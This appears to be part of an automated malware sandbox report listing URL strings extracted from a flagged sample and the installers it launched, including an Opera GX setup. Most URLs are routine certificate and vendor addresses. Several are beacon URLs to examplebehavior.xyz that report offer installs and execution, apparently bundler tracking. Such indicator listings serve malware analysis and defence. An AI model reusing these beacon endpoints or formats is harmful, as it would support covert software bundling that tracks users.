      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
      Source: setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
      Source: setup.exe, 0000000A.00000002.3460220792.000000000110B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
      Source: setup.exe, 0000000A.00000002.3460220792.000000000110B000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
      Source: setup.exe, 0000000A.00000003.2649892241.0000000004CB4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2652365652.0000000004CB6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653216983.0000000004CB6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?bb27e27bf2ac2
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/kuiffghhy?paw=707251&spot=1&a=2910&on=420&o=1662
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/kuiffghhy?paw=987224&spot=2&a=2910&on=310&o=365
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=$errCode&r=offer_execution_fail&ko=no&o=1662&a=2910&dn=42
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=$errCode&r=offer_execution_fail&ko=no&o=331&a=2910&dn=244
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_execution&ko=no&o=1662&a=2910&dn=420&spot=1&t=17
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_execution&ko=no&o=331&a=2910&dn=244&spot=4&t=172
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_execution&ko=yes&o=1662&a=2910&dn=420&spot=1&t=1
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_execution&ko=yes&o=331&a=2910&dn=244&spot=4&t=17
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354381480.000000000089D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_exists&ko=no&o=1662&a=2910&dn=420&spot=1&t=17288
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_exists&ko=no&o=1675&a=2910&dn=441&spot=3&t=17288
      Source: SecuriteInfo.com.FileRepMalware.27261.32754.tmp, 00000003.00000003.1354859380.0000000000895000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://examplebehavior.xyz/rlo.php?d=b&msg=&r=offer_exists&ko=no&o=331&a=2910&dn=244&spot=4&t=172880
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000C.00000001.1489612690.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://localhost:3001api/prefs/?product=$1&version=$2..
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://ocsp.digicert.com0
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://ocsp.digicert.com0A
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
      Source: setup.exe, 0000000A.00000003.2735366179.0000000004CB5000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0H
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0I
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0O
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2676274150.0000000054004000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmpString found in binary or memory: http://ocsp.digicert.com0X
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.3456982582.0000000053E0C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/CPS0
      Source: setup.exe, 0000000A.00000003.3454052443.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
      Source: setup.exe, 0000000A.00000003.2653474716.0000000053F4C000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2854010384.0000000053F90000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3459953628.00000000010B6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.opera.com
      Source: f_1.exe, 00000008.00000003.1472845924.00000000039F9000.00000004.00000020.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472455897.0000000004650000.00000004.00001000.00020000.00000000.sdmp, f_1.exe, 00000008.00000003.1472800380.0000000004810000.00000004.00001000.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1485523402.0000000003E56000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2683317067.00000000050D8000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3458463018.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000B.00000000.1481395856.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000C.00000002.1496147974.00000000001FA000.00000002.00000001.01000000.00000010.sdmp, setup.exe, 0000000D.00000002.3416588220.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, setup.exe, 0000000E.00000002.3434443574.000000000064A000.00000002.00000001.01000000.0000000D.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695060287.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003442000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2694520907.0000000003716000.00000004.00000020.00020000.00000000.sdmp, Opera_GX_assistant_73.0.3856.382_Setup.exe_sfx.exe, 00000013.00000003.2695221758.0000000003DB0000.00000004.00001000.00020000.00000000.sdmp, installer.exe, 00000017.00000002.3376053216.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmp, installer.exe, 00000017.00000003.3205857159.000001F1A270E000.00000004.00000020.00020000.00000000.sdmp, installer.exe, 00000018.00000000.3200904648.00007FF73DBE8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: http://www.opera.com0
      Source: installer.exe, 00000017.00000003.3263854146.00007CD8001D4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://ac.duckduckgo.com/ac/?q=
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://accounts.spotify.com/
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://accounts.youtube.com
      Source: installer.exe, 00000018.00000000.3200904648.00007FF73D6D8000.00000002.00000001.01000000.00000016.sdmpString found in binary or memory: https://addons.opera.com/en/extensions/details/dify-cashback/
      Source: installer.exe, 00000017.00000003.3263985253.00007CD800154000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://api.browser.yandex.ua/suggest/get?part=
      Source: setup.exe, 0000000A.00000003.1515714693.00000000011DB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.config.opr.gg/
      Source: setup.exe, 0000000A.00000003.1525826014.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.3454052443.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1515431684.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2649589825.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000002.3460970822.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2631829058.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2651071216.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.1780636947.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2735255285.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000000A.00000003.2639190356.00000000011EC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://api.config.opr.gg/A
